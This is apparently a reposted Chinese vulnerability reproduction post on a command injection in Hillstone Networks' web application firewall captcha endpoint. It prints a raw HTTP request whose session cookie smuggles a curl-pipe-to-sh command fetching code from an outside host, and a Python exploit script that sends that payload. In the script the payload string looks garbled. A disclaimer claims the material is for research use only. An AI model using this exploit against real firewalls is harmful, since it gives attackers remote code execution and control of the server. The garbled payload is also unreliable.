漏洞简介
山石网科 Web 应用防火墙(WAF)是专业智能的Web 应用安全防护产品,在Web资产发现、漏洞评估、流量学习、威胁定位等方面全面应用智能分析和语义分析技术,帮助用户轻松应对应用层风险,确保网站全天候的安全运营。
在WAF的验证码页面,存在命令注入漏洞,恶意攻击者可通过构造恶意请求,拼接命令执行任意代码,控制服务器。
受影响版本: 5.5R6-2.6.7~5.5R6-2.8.13
漏洞POC
GET /rest/captcha HTTP/1.1
Host: 192.168.247.196
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en;q=0.9
Cookie: PHPSESSID=aaaaaaaaaa%3bcurl${IFS}192.168.247.1:9999/cccc|sh%3bd
利用脚本:
import requests,sys
requests.packages.urllib3.disable_warnings()
session = requests.Session()
target = "https://192.168.247.196/".strip("/")
cmd="curlx24{IFS}192.168.247.1:9999/cccc|sh"
url = target+"/rest/captcha"
headers = {"Accept":"*/*","User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)","Accept-Language":"en;q=0.9"}
sss=requests.get(url,headers=headers,verify=False)
if "PNG" not in sss.content:
print("target not vuln")
sys.exit()
cookies = {"PHPSESSID":"aaaaaaaaaa%3b"+cmd+"%3bd"}
try:
response = session.get(target+"/rest/captcha", headers=headers, cookies=cookies,verify=False,timeout=5)
except requests.exceptions.ReadTimeout:
print("payload work")
sys.exit()
print("payload send!")
漏洞来源:https://github.com/wy876/POC/blob/main/%E5%B1%B1%E7%9F%B3%E7%BD%91%E7%A7%91%E4%BA%91%E9%89%B4/%E5%B1%B1%E7%9F%B3%E7%BD%91%E7%A7%91%E5%BA%94%E7%94%A8%E9%98%B2%E7%81%AB%E5%A2%99WAF%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB
原文始发于微信公众号(良月安全):[漏洞复现]山石网科应用防火墙WAF存在命令注入漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论